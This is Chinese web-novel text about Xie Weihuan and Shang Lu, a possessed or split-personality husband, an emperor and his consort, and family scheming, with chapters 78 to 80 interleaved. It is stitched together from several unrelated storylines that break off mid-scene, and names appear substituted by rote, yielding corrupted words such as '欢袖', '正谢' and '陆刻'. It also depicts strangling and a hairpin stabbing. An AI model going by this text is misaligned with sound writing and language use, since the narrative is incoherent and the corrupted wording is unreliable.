前者只顾着倒茶,并未察觉到,身前之人原本温和的眼眸中,兀地闪过一道令人发冷的寒光。 他醒来了。 身处在一个从未去过的、全然陌生的地方。 看周遭的摆设,这并非是一门大富大贵之家,身前的中年男人已然发了福,一双眼眯成一条缝,脸上满满是恭维的笑意。 商陆在心中思量了下日子,立马猜出——自己如今身在谢家,而面前这个人,正是那个女人的亲生父亲。 商陆日理万机,忙得这般抽不开身,竟也跟着她一起回门了? 商陆勾了勾唇,有意思。 掌中的杯盏仍发着余热,茶面微微晃荡着,白蒙蒙的雾气徐徐往上升腾。男人眯了眯眼,听着谢父继续道: “承蒙世子爷厚爱,只是我家大女儿性子太过于沉闷,不如绫儿机灵,怕是难讨世子爷欢心。今日您在宴上已见过犬女,不知世子可否留意到,如若绫儿有幸能入了您的眼,也能让里两家人喜上加喜,可谓是双喜临门呢。” 商陆端起茶杯,回味了一下:“喜上加喜?” 谢父眼巴巴地朝他点头。谢为欢逃也似的跑出了地下书阁。 推门走进院内,那一轮新月恰好初升。时至傍晚,她却全然顾不得如今藏书阁里会是怎样一番光景了。此时此刻,她只想逃。 她只想离商陆远远的! 是夜,谢为欢躺在床上,翻来覆去地睡不着。 她睁眼闭眼,满脑子都是《上古邪术》中的字眼,以及今日所听的那一出《双生折》。 经过一整夜的休息,谢为欢冷静下来。 如今自己已嫁入商府,后半生与自己朝夕相处的,除了商陆,再不会有别人。眼下最重要的便是搞明白商陆身上的谜团,这样她才好有应对之策。 第二天清晨,谢为欢坐上马车,偷偷去了宋宅。 宋识音瞪圆着一双眼,满脸震愕地听完了她这一番话。 “你觉得……商世子身上,还住着另一个人?!” 紫衫少女伸出手,探向她的额头。 “为欢,你是不是被商世子虐待了啊,这人都变傻了。” 说这话时,音音一脸怜惜。可见谢为欢仍一脸严肃,她又立马正色。 对方用了许久,才终于消化了她这一番说辞。 谢为欢深知识音的性情,她嘴巴极严,又对朋友极为侠肝义胆。一来不会将商陆身上的事说出去,二来又可以帮她去试探、那人身上的问题。 两人好一番思量。 决定就在今天夜里,去好好敲打商陆一番。 宋识音拉着她去了一趟庙里,为她为了一道护身符纸。 “届时你就将这个藏在欢袖里,那些鬼魂都很怕这个的。若他再敢出来伤你,你就把符纸贴在他脑门儿上。” 谢为欢犹豫:“音音,这能有用吗?” 对方拍了拍她的肩膀,安慰道: “放心,这不是还有应急方案吗。” 将一个女儿送进国公府还不够,竟还要将二女儿也送进来给他做妾室。 商陆在心中冷笑,缓缓放下手中的茶杯。 “你家二女儿我并未怎么瞧上,不过,我见她的母亲倒是机灵能干得很,甚是符合本世子的心意。就不知岳父大人可否忍痛割爱,如此一来,你我商谢两家也算得上是喜上加喜、亲上加亲。” 谢父从未想过商陆会这样说。 他先是一愣,继而话语一噎,整个人像是霜打了的茄子,不敢再吭声。 商陆无意于他周旋,冷飕飕地睨了他一眼,于座上起身。 他连招呼都未曾打,径直朝外走去。 冷风轻拂过男人雪白的欢袂。 这次醒来时,商陆与平日的感觉都不大一样。 今日的商陆并未喝药,他的嘴唇里并没有药粥的苦意。取而代之的,是另一种很奇怪的感觉。 他的嘴唇发干,喉舌发涩,一颗心也莫名跳动得厉害。 商陆微微蹙眉。 第 78 章 第 78 章 夜里,是皇宫的宫宴,她虽是商陆后宫唯一的妃子,却不想去参加什么宫宴,无奈商陆派重楼亲自来请,她又看在马上要出宫的份上,才应下来。 这次的宫宴办得很隆重,清宴殿内绫罗绸缎随风轻拽,琉璃瓦下映着金碧辉煌的殿宇,歌舞升平,琴声悠扬。 而后随着一声“容妃娘娘”驾到,宴会上众人的目光皆向她投来,有羡慕的,嫉妒的…… 参加这等重要的宴会,女子只披着雪白的绒氅,将整个人裹得严严实实的,发间簪着两只极为普通的碧玉簪。 仅薄施粉黛,却也能将所有人的目光吸引过去,只一眼便能被勾了心魂。 走近后,谢为欢才看清眼前的商陆,一月未见,男人脸色苍白如纸,头发白的更多了,坐在高位上,双手无力地搭在扶手,浓眉之下,那双暗色的眼眸,透出一股沧桑与悲凉。 迎上他的视线,谢为欢回过神,简单行了一礼,声音慵懒,“见过陛下。” 他摸了摸自己微烫的喉结。 见他走出来,外头有丫鬟给他带路。 对方点头哈腰,比见了谢老爷还要恭顺。 他未应答,只跟在那人后面,朝谢为欢的闺阁走去。 一边走,商陆一边感受着这具属于他与商陆两个人的身体。 商陆今天做什么了? 怎将身体弄成这副样子? 弄成这副奇怪的样子。 商陆似乎觉得,自己身体之内,似乎游走着某种躁动的气流。那种气流温烫,冒着隐隐热气,正流窜在他的四肢百骸间,一时竟叫他无从抑制。 他现在很想见到谢为欢,很想知道,商陆究竟对这具身子做了什么。 他随着婢女,一边压抑着那道气息,一边穿过这一条窄窄的林径。 此处离谢为欢的闺阁有一段距离。 商陆远远地见着,一行人气势汹汹地,朝一间屋子里面走去。 他眯了眯眼,问道:“那是何人?” 婢女抬眸望了一眼。 “回世子爷,那是……是二夫人,去了大夫人的屋子。” 按着大凛的规矩,新婚妻子虽可以在大婚后回门,却不能在娘家过夜的,此刻已是黄昏,再用不上多久,谢为欢便要启程返往商家。 孙氏趁着母女二人分别时来见夫人林氏,自然是“提点”她,与女儿分别时,什么该说什么又不该说。 她虽是妾,但在谢家这么多年,一直享受着正室才该有的地位和待遇,对大夫人林氏更是百般苛责刁难。 尤其是在谢为欢嫁入商家后,孙氏每每看见林夫人,愈发觉得心中闷堵,时不时便要来别院拿她撒气。 谢老爷是个不敢吭声的。 见着妾室欺辱正式,竟也睁一只眼闭一只眼,任由孙氏去了。 当商陆推门而入时,孙氏身侧的婢女正将林夫人两臂按着。后者发髻上原先那根金簪已然不见,欢襟微敞着,无助地跪在地上。 听见门响,众人循声望了过来。 只一眼,便看见站在一片霞光中的商陆商世子。 孙氏面色一白,正执着金簪的手一松,簪子“啪”地一声掉在地上。 “世……世子爷,您怎么来了?” 他如今不正在谢为欢房中,与她卿卿我我、郎情妾意么? 因是他逆着光,孙氏看不大清楚来者的脸庞,自然也看不清他面上此时是何等神色。 即便看不大清。 但孙氏却莫名感觉一阵凉意正顺着脊柱往上蹿,她不禁打了个寒颤,往后倒退了半步。 “商陆”并未上前来扶林夫人。 他睨着那两名同样面色煞白的婢女,冷声:“松手。” 婢女这才后知后觉,忙不迭将林夫人从地上搀扶起。 于这一片慌乱中,有婢子手上不禁用了些力,林夫人皱着眉,倒吸了一口凉气。 轻轻一道抽气声,就如此清晰地落入商陆的耳中。 他目光定在林氏手臂之上。 明明是寒冬腊月,屋内取暖的炭盆却很新,其中的炭火并未燃烧多少,让人一眼便瞧出来——炭盆是新置的,炭火是往里面匆匆添加的。 一切都是表面功夫,为的,便是糊弄商陆与谢为欢。 林夫人的欢袖有些长,明显不合身。 商陆眼中闪过一道精细的光。 下一刻,他竟道:“掀开。” 孙氏:“世子爷,您说什么?” “把袖子掀开。” 孙氏先是一怔,而后立马想到了什么,忙不迭道: “世子爷,这怕是不妥……” 商陆第三次道:“掀开。” 居琴园的大门时常紧闭,谢为欢立在门前握起铜兽门环,迟迟没有敲下去。 她怔怔目视眼前的这扇漆木门。 忽而长长呼出一口气,转身坐到了门阶,困乏地闭上眼,想先歇一歇。 屋檐外挑,细雨如帘。 她裹着半湿的旧衣,这一阖眼就陷入昏睡。 耳畔仿佛传来了敲门的声响——谢为欢不知她这位嫡姐心里早想到他处去了,只回她先前的话道:“五姐姐也说,妾不过是个玩物,我被父亲送去给商三郎当玩物,姐姐生什么气?” 谢唯珊唇瓣蠕动了几下,到底不想自打脸,说不出反驳的话。 可她那双就要喷火的眼睛里满都是:那可是商三郎! 整个建康城的女郎听了他的名都走不动路。 身为商家宗子,商三郎身份高贵,容貌风仪皆是上乘,连素有美名的萧郎都叹然道“珠玉在侧,觉我形秽”,可想而知那气度风华该是何等绝伦。 谢为欢像是察觉到她不便宣于口的心思,盈盈水眸睨向她:“还是说,五姐姐觉得这是天大的福分,你自个想要?” “谁要做妾了!你不要脸!”谢唯珊满脸通红,分不清是气得还是羞的。 谢为欢没再吭声,略一瞥远处行来的几人,便眼睫低垂。 谢唯珊把她的反应当做默认,气急败坏:“好啊!我要告诉阿父,你竟敢羞辱我!” 她话才落,隔着小花园的廊上就传来一道沉稳的男声。 “要告诉我什么?” 戈阳谢家家主带着管事缓步而来。 他不苟言笑,自带威仪。 谢唯珊不敢据实相告,只能揪住谢为欢不愿听从家族安排一事添油加醋。 谢家主面露不豫,转而责备谢为欢:“九娘,你莫辜负家族为你筹谋的良机,那商三郎神仙般的人物,多少人为奴为婢也想簇拥着他,倘若不是他亲口提的你,这样的机会是断不会落到你身上的,可明白?” 亲口提的她? 谢为欢微愣,仰脸望向这个她该称为父亲的中年白面男人。 谢唯珊一脸不可置信,比谢为欢还着急:“阿父,怎么会?商三郎怎么会知道谢为欢这贱……” “为父的话你们也质疑?!”谢家主不高兴,两个女儿一并吼了。 “女儿不敢……”谢唯珊泪眼汪汪。 谢为欢没吭声,在旁边浓睫垂覆,柔顺婀娜。 即便不特意做出什么姿态,也会让人不由把目光放在她身上。 谢家主打量这个女儿,暗暗点头。 这还只是个小娘子,待真正长大还不知道该怎么光彩夺目,整个豫州再找不到像她这样清艳脱俗的丽姝。 “谢唯珊。”那女郎放下手里的提盒,抬起脸来,嗓音轻柔地直呼她的大名,隐含警告。 她的动作谈不上迅速,甚至故意放缓。 走近——跪身——俯趴,任何一个环节商九郎出声打断,她就不敢冒进一步。 可九郎没有拒绝她。 谢为欢静静趴了会,泪雾盈满眼眶,她可怜道:“若九郎不答应帮我,阿父就要将我送给商三郎为妾了。” 商陆垂眼,望着那“霸道”盘踞在他腿上的女郎,久久没能出声。 谢为欢又撑身而起,目睛盈盈,仿佛想化成一条想蛊惑人心的美人蛇,巴巴望着他,“我不想做三郎的妾,九郎可以帮我么?” 她所求之事实在出乎商陆的意料,不过在短暂的惊疑之后,他手肘落下,支在玉几上,身子歪靠,反而显露出一副更慵懒的姿态,朝她唇角微勾,笑着问:“三郎有何不好?” 门阀大族商家的宗子收她为妾,没有屈没她的身份。 见他没有生气,谢为欢更有信心与把握,也没有多想,理所应当道:“三郎虽好,但年纪已大,哪有九郎年轻力盛呀!” 其实商三郎比商九郎不过大四岁,现今也才二十三,可商九郎已经表现出如此成熟,谢为欢自然而然认为商三郎肯定定然是个更成熟的大人了。 成熟显老成。 商陆似笑非笑,缓缓道:“所以,谢娘子觉得我更好?” 谢为欢余光落在商九郎垂于玉几旁的手指,干净、清瘦,指骨连着青筋,在放松的状态都好像蕴着一股力量,她不知道自己为何总被这双手吸引,咽了咽,真心道:“当然是郎君更好。” 凭心而论,若非九郎也姓商,她恐怕在面对他时就无法使自己保持冷静。 君子形貌绝美,才敏多览,令人心仪并不是什么可憎可耻的事情啊。 可惜他太高贵,注定与她不会有结果。 这一次,他的语气里明显多了几分不耐烦。 孙氏及周遭女使的面色皆是一僵,迎上商陆冷冰冰的目光,不可置信—— 不是说商世子性子温和,彬彬有礼,从不对人动怒的么?! 日影穿过窗棂,倾洒在林夫人的欢袖上。 婢女战战兢兢地将她的袖口掀开。 只见林氏原本遮掩的袖摆之下,一条条,一道道,红紫交织着,竟都是…… 鲜明的鞭痕! 商陆眸光兀地一沉。 孙氏又往后倒退了半步,靠着墙角,目光瑟瑟地看着他。 她眼见着,男人弯下身,拾起地上的金簪。 他的手指很是修长漂亮,像一块干净的玉,在金簪的映衬下泛着青白色的光泽。 商陆拾了金簪,朝她走过来。 他的神色很冷淡,眼神中甚至没有愠怒之意,却莫名让人感觉到畏惧。孙氏完全吓傻了,就这般任由他牵过自己的胳膊、掀开自己的欢袖。 有钝器划破肌肤,温热的液体顺着女人光滑的手腕流淌下来。 孙氏后知后觉地感到一阵疼痛。 她惊叫出声:“世子、世子爷!您这是做甚?您——” 锋利的金簪再度刺入她的手腕! 一道一道,一条一条,孙氏手腕上的划痕,与林夫人手腕上的鞭痕渐渐重叠在一处。孙氏叫得惨烈,周遭下人畏惧着商陆,皆不敢上前。 林夫人腕间的鞭痕共有五道。 商陆神色恹恹,紧攥着孙氏的手,一道一道地将那些伤痕追补回来。 终于,他“啪嗒”一声,扔掉了那支鲜血淋漓的簪。 孙氏痛得几乎要晕过去。 泪眼模糊中,她感觉身前的男人用自己的欢袖擦了擦手,语气淡淡的,挑眉问她:“记住了?” 她已哭不出声,更说不出来话,嘶哑着嗓子:“记、记住了,记住了……” 商陆走出院时,谢为欢恰好迎上来。 她跑得匆忙,似乎听见方才这边的喧闹声,面上挂着担忧与焦急。 谢为欢未想到会在这里碰见他,未曾设防,一头栽入他怀里。 “商陆,我母亲怎么了?” 此刻天还没有完全黑下来,她口中唤的是“商陆”。 商陆的眸光变了变,一个念头自他心底生起。 于是他温下声,语气和缓地同她道:“岳母没有出事,她如今已歇息下了。” 她还是不放心。 谢为欢侧了侧身:“不成,我还要去看看……” 男人温和地摸了摸她的头,道:“你连我也不放心么,我适才看过岳母大人,她方歇息下。乖,我们不要去打扰她。” 正说着,有丫头自房内走出来,她接过商陆带着示意的眼神,同谢为欢道:“世子夫人,老夫人已经喝罢药睡了,您若是有什么吩咐的,可以同奴婢说。” 谢为欢转过头,看着男人唇边温柔的笑意,想了想,终于将心中的戒备。 天色将晚,他们应当回商府了。 心想着他是商陆,谢为欢极自然地牵过他的手。 她的动作太过于熟稔,也太过于亲昵。 商陆低下头,看着二人交缠在一起的手,步子顿了顿。 “怎么了?” 谢为欢转过头,疑惑地望向他。 只见男人勾了勾唇,低低笑了笑:“没什么。” 谢为欢紧牵着他的手,带他来到闺阁。 “你方才不在,我准备了一些东西,待离去时让婢女捎给母亲。这部分是给母亲的,这部分是给父亲的……还有这个,是我绣完的手帕,想送给你。” 说着说着,她忽然觉得身后凉飕飕的。 转过头,正迎上他那一双泛着寒意的眸子。 谢为欢的手“啪”地一松,往后倒退了半步,声音微惊: “你……你不是商陆。” 他不是商陆。 他是商陆! 此时还是黄昏,他怎么就出来了?还有,还有商陆的银镯呢?那道士给的镯子怎么并未将他锁在里面?? 谢为欢惊慌失措,望向男人腕间正泛着银光的手镯。 商陆盯着她,目光又转向那一方素帕,声音愈冷: “想送给谁?” 是送给商陆,还是商陆? 她未应声,下意识地往后退,小腿却磕到床脚。 窗牖未掩,商陆踩着满地的霞光,走过来。 “夫人是想要送给谁?” 不等他话音落,忽然,男人眸光闪了闪。 他的眼神中带着几分探究,伸出手,放在谢为欢的唇上。 商陆见到少女盯着他瞧,他虚握着拳头,心底产生一种不受控制的欣喜,“欢儿,来,坐在朕身侧。” 他的声音很轻,带着几分试探与哀求。 目光在不经意落在她的小腹,却又迅速别开眼。 帝王的话一出,席间皆议论谢为欢独得恩宠,按照身份,她并非是皇后,帝王却已将她视为皇后。 对于那些议论,谢为欢并未在意,或许在外人看来,她同商陆是恩爱夫妻,情深意切。 然只有他们二人心知肚明。 他们是一对怨偶, 纠缠了半生,彼此伤害。 下一时,她并未理会商陆的话,转身坐在了她该坐在的位置。 第 79 章 第 79 章 谢为欢对帝王的冷漠显而易见,直接忽视他的话坐在一旁,席下的众人看在眼里,也只当是他们二人之间的情趣,暗叹帝王对容妃宠爱有加,如此纵着她。 商陆将女子的神情收入眼底,只有他知道,她只是单纯不想理他。 思及此,他眸光微暗,握紧了拳头,明明清宴殿灯火通明,熏笼的散发暖烟丝丝缕缕弥漫在整个殿内,而他却感觉不到一点温暖,每一根手指都仿佛成了冰簇。 谢为欢并未理会男人投来那炙热的目光,只低下头看着桌案,案上有摆放了好多她喜爱的吃食,样样不落,就像是刻意为她准备的。 她拿起糕点吃了起来,近来倒是贪吃,就连半夏也总说她的口味变了许多,往日不爱吃甜的,眼下倒是喜欢上了甜食。 这时,忽地刮来一阵凉风,吹动她额间的碎发,寒冷很快蔓延至整个身体,她拢了拢身上的绒氅,缩了进去,将自己裹成一个圆球。 她并不在意别人的看法,只想快点结束宴会,回到长秋殿。 商陆望着眼前吃着糕点的少女,她睫毛扑簌簌颤动,一口接着一口,腮帮子塞得鼓鼓的。 他倒是不知她何时这般贪吃了起来。他为何要杀她,他怎么突然变成这样,自己可是他的新婚妻子! 谢为欢来不及多想,她的视线中尽是蒙蒙的水雾,终于在一片晕眩中,看清楚身前男人的那张脸。 那张本该是儒雅随和的脸。 如今却挂着几分阴鸷与狐疑。 看着这满堂的喜色,商陆彻底反应过来。 今日竟是他大婚。 男人面露嫌恶,冷笑了声。 晚雾渐浓,将月亮笼罩得雾蒙蒙的。商陆低垂下浓睫,浑不顾谢为欢涨得发紫的脸颊,慢条斯理地打量着眼前这位新娘子。 是商陆的新娘子,也是他商陆的新娘子。 少女发丝迤逦,散了满床。 她就这般瘫倒在这一方狭小的春色中,檀口微张,艰难地送出温热的吐息。她正挣扎着,像是被提溜住后颈的小鸡仔,奋力扑打着没有多少羽翼的翅膀。她的发尾被汗溽湿,颈下的褥子也多了道湿淋淋的水印。 惊惶,弱小,微不足道。 这是商陆被困在这具身体里,见到的第一个如此漂亮的女人。 他如同高高在上的造物主,低下头审视着谢为欢眼中的每一份求生欲。 她美丽柔软的乌眸浮上血丝,那双眼睛似乎在央求他: 商世子,救救我……不要杀我,求您…… 商陆用空出的那只手,轻轻抚了抚少女汗珠流淌的脸廓。 他的手指很凉,那是昭示着死亡的温度。 谢为欢瞪圆了眼眸,惊惧地看着眼前的男人,看他的目光与手指一寸寸落下,如打量一样从未见过的物件般仔仔细细地打量着她。 对方每触摸她一寸,她的身子便颤一分。 谢为欢不敢出声,她根本不敢出声。 就在谢为欢将要昏死的前一瞬,那只手终于自她的脖颈,辗转到她的下颌。 商陆声音微微泛冷,落在她耳边:“新进门的夫人?” 劫后余生,她眼前发晕。 然而不等她去应答,只闻耳畔又传来一道冷嗤,商陆轻轻“啧”了声: “他倒是好艳福。” 他? 商陆说的是谁? 她无力去思索,只知道自己如今身形瘫软,根本无力反抗。少女的青丝如瀑般散落在身形周遭,身上的被褥子微低,根本遮挡不住她圆润的玉肩。 夜风涔涔,送来温软的幽香。 商陆目光往下,喉舌竟不禁一阵热烫。 谢为欢还未缓过气,又被男人抓了过去。 这一回,对方攥的不是她的脖子,而是她的腰身。 她心中惊惧,下意识地一缩,出手便要推他。 商陆眼疾手快,一把攥住她的手腕,冷笑: “怎么我就碰不得,难不成,我不是你夫君么?” 声音远远传来,听不太清。谢为欢抬眼,瞧见自远处而来的身影。 那声音有些苍老,却并不显颓势,中气十足,如弥勒佛般,听着便叫人心境开阔。 谢为欢听出来人是谁,主动站起身,微福了福。 “钱老。” 钱明乃是太子太傅,德高望重,亦教过她不少东西,与他们小辈很是亲近,并非朝中那等自视清高的古板文臣。 钱明瞧见她在,呵呵一笑,背手走来。 “啪嗒”一声。 有血珠子渗出皮肤,坠于这一片漫无边际的黑夜之中。 谢为欢后知后觉到疼。 这疼痛,显然比上次在新房时来得尖锐,却又不似那般剧烈。她微微屏息着,惊惧地迎上身前那一双眼。那双眼本该属于商陆,此时此刻似乎却游动着另一个人的情绪。 他轻.佻,傲慢,不可一世。 如同一只凶猛至极的饿狼。 她想要开口,想要呼救,想要躲避。 她想要逃。 可脖颈间的尖锐却分明在告诫着她——只要自己稍稍触怒他一分,对方立马如恶狼对待羔羊般,将她撕碎。 刀光泛冷,映在她下颌之上。 她的手脚更是冰冷得不成样子。 稍走近了,她才发现跟随在钱老身边与他交谈的人究竟是谁。 谢为欢眼皮一跳。 不是冤家不聚头,平日难见的人短短几个时辰便见了两回,偏生昨夜还有那等荒唐言语,谢为欢眉心轻蹙,眼睑轻垂。 想到昨夜那话,只觉得商陆疯得不轻,那等狂悖之语都说得出来。又觉得自个儿怕是没歇好,脑子不大清醒,分明知晓他是什么品性的人,竟还将他的话放在心上。 将脑中的思绪清空,二人也到了身前。 “许久未见,郡主出落得越发大方了,”钱明想起什么,眯眼一笑:“就是脾气嘛,也愈发像你爹了。” 越国公骁勇善战,早年间更是勇武,年少气盛时,还在朝上亲自殴打过与他政|见不合的大臣。 谢为欢抿唇一笑,回应这半是调侃的话:“……钱老也听说啦。” “京里谁没听说啊,”钱明看了身旁的商陆一眼,“听闻还是这小子给你领回来的?” 领回来……这话怎么听怎么觉得有些奇怪。 谢为欢并未计较,略有些不自在:“钱老又笑话我。” “不是笑话你,”钱明摆手,“我老了,不知你们年轻人想些什么,但多少看过些世事。想你经了昨日一事,心头只怕不快,倒是极少见你皱眉的模样。” 她下意识抬手,摸了摸眉心。 此般蹙眉……说来倒也与昨日之事相关,可大半,还是因着…… 谢为欢舒展开眉心,只听钱明道:“家小儿也太胡闹了些,哪有成婚前……咳、成婚后也不成!商陆,你说是也不是?” “是。” 商陆低眸应声。 她没给商陆投去半点视线,几乎将其当做不存在一般,没有回应。 “昨夜,对郡主多有冒犯,”商陆淡声拱手:“抱歉。” 应是刚下朝,他身上还穿着紫色朝服。官袍宽大挺括,便以白玉腰带束在腰间,平添些许清冷淡漠,收敛了几分武将杀气。 幽幽青竹香传入鼻尖。 很清淡的香气,像是初春的新茶浸在微沸的竹露间,散发出的第一缕清香。 她下意识抬眼看他。 剑眉冷眸,薄唇颜色稍淡,许是在战场上厮杀过的人都有一股无法泯灭的冷峻,叫人辩不清他的神色。 钱老在场,到底不好太过冷淡。谢为欢颔首,“大人履职尽责,应当的。” 殿前司掌禁军,京中安防自也在其职责之内。她那样大的阵仗,不惊动禁军是不可能的。 钱明笑了笑:“商陆年长几岁,沉稳些,有他在不会错的。” “郡主。”不等他说完,少女通红着脸,直接吻住了他的双唇。 而后,他解开了她的欢裳。 再然后…… 再然后。 商陆揉了揉太阳穴。 他怎么什么都记不起来了? 他一贯清心寡欲,常年在外征战,从不近女色,也以为自己不会沉溺于女色。可今日一见到妻子肿.胀的双唇,商陆才惊觉,自己竟鲁莽到这种地步。 自己本就是一介武夫,动起手来没轻没重的,还这般上了头…… 他忽然意识到,妻子为何这般惧怕自己了。 定是他昨夜做了一些混账事。 想到这里,他心中涌上万分的自责与羞愧,时至如今,自己理应去妻子那边,同她一赔昨日之罪。 但白日里,商陆也能看出来,谢姑娘也许并不是很想见到他。 要不这几日,他还是先与她避一避,待时机合适,再去安抚她的情绪? 不成。 商陆攥了攥卷宗。 昨夜新婚,今日他便不去妻子的院中。这若是传了出去,会不会引得府里头其他人误会,会不会让旁人从此看低了她一眼? 听着雨声,商陆思量再三,决定还是前去妻子所在的兰香院。这一回他前去,只是与妻子说说话,断不能再做其他。 谢为欢还未回话,便听商陆唤她。视线轻抬,再一次撞向了那双莫测的眸。 “昨夜的话,郡主想好了吗?” 什么话? 少女的眼睛注视他时,没有一丝情感,就如同冬日里的寒风,将他推入无尽的深渊。 “欢儿,我没想让你欠我。” 他不过是看到那歹人拿剑刺向她,想下意识护住他的欢儿。 仅此而已。 他绝对不会因为此事而胁迫她做些什么。 “其实我没想过活命,我更想同我们的孩子一起离开。” 提起孩子,谢为欢垂下眼睫,只有商陆盯着她的小腹,他想若是曾经没有对她做过那些伤害她的事,一切都不会发生,他的欢儿也还会爱他,允珩也会平安出生。 而眼下,什么都没有了。 良久,他轻轻吐出一句。 “欢儿,你走吧,不必留在皇宫了。” 第 80 章 第 80 章 男人的话落入耳中,谢为欢的目光不主地看向他,仿若听到天方夜谭, “你方才说,让我离开么?” 这话来得太过于突然,她甚至怀疑自己是幻听,商陆竟让她走,不用等到新岁就可以离开。 商陆阖上双眸,身体变得无力, “是,你本就不愿留下,我又何必去强求?” “我也不会再爱你了。” 说出这话后,他攥紧了身下的被锦,不爱二字,被他刻意加重,既是说给谢为欢,也是说给自己。 这二字,就如同一根尖锐的铁针扎入心口,将他吞噬进黑暗。 “真的?” 她眸光微微一动,见眼前的商陆无力地靠在榻上,白发似雪,脸上没有一丝血色,声音低沉而微弱,像一片随风而摇曳的枯叶,随时都回落在地上毫无生机。 她懂医术,自然也会瞧得出对方的不对,也只当是他大病初愈,并未多想。 “走,朕不想再看到你,谢为欢。” 他的声音再次变得同往日一样冷。 第二日还未起身,便有人来报七公主病倒了。说是舟车劳顿,受了寒。 谢为欢穿戴整齐去往营帐,听玉漱说了这些,轻笑出声:“怕是心虚吧。” 她若是岑嘉年,只恨不能当即启程回宫去,再也不见她。 两位主子有一位病倒,围场中事都全权交予谢为欢做主,决策当即便快了许多。她起初还以为商陆会继续与她对着干,可这几日下来,二人相处竟还算平安无事。 商陆依旧是那副冷冷清清的模样,倒是没再起波澜。 ——她原本鲜艳的口脂被蹭掉,诱人的唇瓣,此刻竟有些发肿。 难怪。 难怪,他今日“醒”来时,竟有那样奇怪的反应。 他还疑惑,商陆今日做了什么…… 想到这里,他竟有几分头晕目眩。谢为欢眼睁睁看着,身前之人眸色一沉,只一瞬间,男人的眼底竟汹涌出令人不战而栗的寒意。 商陆沉下声,眸光阴森,逼问道: “谢为欢,他动你了?” 一切落定那日,七公主的“病”也好了,她脸颊尖了些,坐在谢为欢对面,听掌事的太监做着最后的确认。 岑嘉年的目光不住地往商陆身上去,但她并未如从前那般活跃,倒像是失了水的鱼儿蔫哒哒地不愿动弹,不曾得到回应的目光黯然收回,听着谢为欢确认问题。 “司礼监的人都到了吗?” “都到了,郡主。”掌事太监回话。 “禁军那边……” “一切听凭郡主调令。” 商陆淡声回应,声音沉静如玉,透着几分疏离。 岑嘉年努力想从他与谢为欢的话中听出些别的什么。 这几日称病,除了确实面对谢为欢有几分心虚外,还有很大部分原因,是不愿再见商陆。 那日的落日之下,一些敏锐的直觉似乎让她察觉到了一些不为人知的东西。 像是有什么隐藏在冰面之下,而此刻这被冰雪覆盖的面上已然有了细细的裂痕,不知何时便会破冰而出。 可她无法确定,毕竟只是猜想——商陆是太子门下,太子的人护着谢为欢,太正谢不过了。 这很正谢,她告诉自己。只是自己的那些少女心意,已经被那蕴含着浓重警告意味的一箭射得破碎。 岑嘉年并没细听他们在说什么,只是坐在那里,时不时点点头。直到谢为欢合上册子,问她:“你还有什么想法吗?” 谢为欢瞧着并未生气的模样,好像根本不知她那日意图……如果不是她知道谢为欢大张旗鼓重赏了一个禁军的话。 她这样张扬地赏赐,让满营地的人都知晓这位禁军在七公主箭下救下了永淳郡主。京中自然也知晓,母妃特意来信,要她安分着些。这件事闹大了,对她没有半点好处。 她不知为何商陆将此事推给了一个名不见经传的禁军侍卫。 岑嘉年隐下眸中黯然,摇头:“没有。” “那就这样?” 谢为欢自然看得出她的心思,知晓她得了叮嘱不与自己作对,却不明白好好的一个姑娘怎么转了性子,竟不像从前那般围着商陆打转了。 她看了看四周,“若无异议,秋狝一事便就此定了。” 众人都说没有。山谷幽冷清寂。 山洞上有积雪凝化成水,顺着冷冰冰的石壁,“啪嗒啪嗒”地流下来。 谢为欢甚至还能听见那恶狼的涎水之声。 她一贯被养在深闺,何曾见过这般凶猛的野兽?单单只看那恶狼一眼,她那被冻得僵硬的双腿陆刻间便瘫软了下去。 少女哆嗦着,凝望向身侧的男人。 与她截然不同的,一旁的商陆看上去竟分外优哉游哉、游刃有余。 看得谢为欢不禁问出声: “洞口便是恶狼,商陆你……你不怕么?” 她都怕得连声音都在发抖。 他笑了笑:“不怕啊。”秋芷断没有想到商陆会去而复返,看着男人腰际泛冷的玉坠子,吓得“扑通”一声跪了地: “世、世子爷,您怎么又回来了……” 怎么又回来了? 商陆垂眼,看着跪在自己脚边瑟瑟发抖的奴婢。 心想,还好他回来了,竟看到了这样荒唐的一幕。 夕阳西沉,谢为欢匆匆披上衫子,踩着霞光走过来。见了商陆,她也是惊讶地唤了一声:“郎君?” 与此同时,另一边的婢子玉霜也急急忙忙地赶到。见秋芷无端跪着,这小丫头一愣,也“扑通”跟着对方一齐跪了下来。 “世子爷?” 商陆没有应她。 男人的目光落在秋芷身上,低下头问她:“你的主子是谁?” 他的声音平静,几乎听不出什么情绪,可自幼在国公府长大的玉霜知道,世子这是生气了。 秋芷下意识:“二姑娘……阿不,是夫人。奴婢的主子是夫、夫人。” 见他这般轻松,谢为欢在心中安慰自己道,商陆如今用的是商陆的身子,商陆武功盖世,商陆或多或少也会些武艺,赶跑一只野狼对他来说应该不是难事,嗯。 商家的人一时半会找不到他们。 偌大的山洞内,也只剩下她与商陆两个人。 即便谢为欢对入夜时的商陆并没有任何好感,但此时此刻,于这样一头凶猛的野兽面前,她若是想要活命,就只能寄希望于他的身上。 商陆迎上她满带着求救的目光。 此时此刻,他竟还有心思同她打哑谜:“知道我为什么不怕么?” “不知晓。” 对方朝她招了招手:“过来。” 寂静幽冷的山洞里,她与那恶狼无声对峙着,闻言,谢为欢小心翼翼地往商陆那边侧了侧身子。 她担忧自己动作太大,因此惊动到那头野狼。 商陆却像是偏要故意逗弄她:“近些。” 他的气息温热,轻扑扑一层,嘴唇几乎要咬住她的耳朵。 “这种狼,你未曾见过么?” “未曾。” 谢为欢提心吊胆着,如实地摇头。 对方的笑意在她耳畔荡漾开来: “这种狼呀,性子怪得很,平日里捕食猎物,都是单个单个地吃,从不贪多。等他吃饱了,就会自己走了。” 说到这里,男人忽然顿了顿声。谢为欢只见着,他懒散地垂下一双凤眸,眼神之中,似乎传达着某一种暗示。 她一愣,旋即反应过来: ——商陆这是想要她去送死!! 四下无声,她正欲站起身,却听商陆忽然道:“西山北侧有一小溪。” 谢为欢抬眼:“大人有何高见?” “昨日禁军巡逻来报,水中有不少游鱼。不若在岸边设一钓鱼台,以作垂钓闲趣之乐。” 他看向谢为欢,声音无波无澜,不像是在提出意见,像是在和她冷静地谈判。 这个语气让谢为欢扯了扯唇角,她低眸看着手中围场图纸:“在何处?” 商陆没有回答她。 他站起身,走到她的身侧,指尖从她的手边轻点在纸面上。 比之她而言更为骨骼分明,宽阔修长的指尖轻轻摩挲在纸面,发出细细的,只有她一人才能听到的窸窣声响。他微微垂首,衣袖不经意扫过她的小臂,带来一阵痒。 “在此处。” 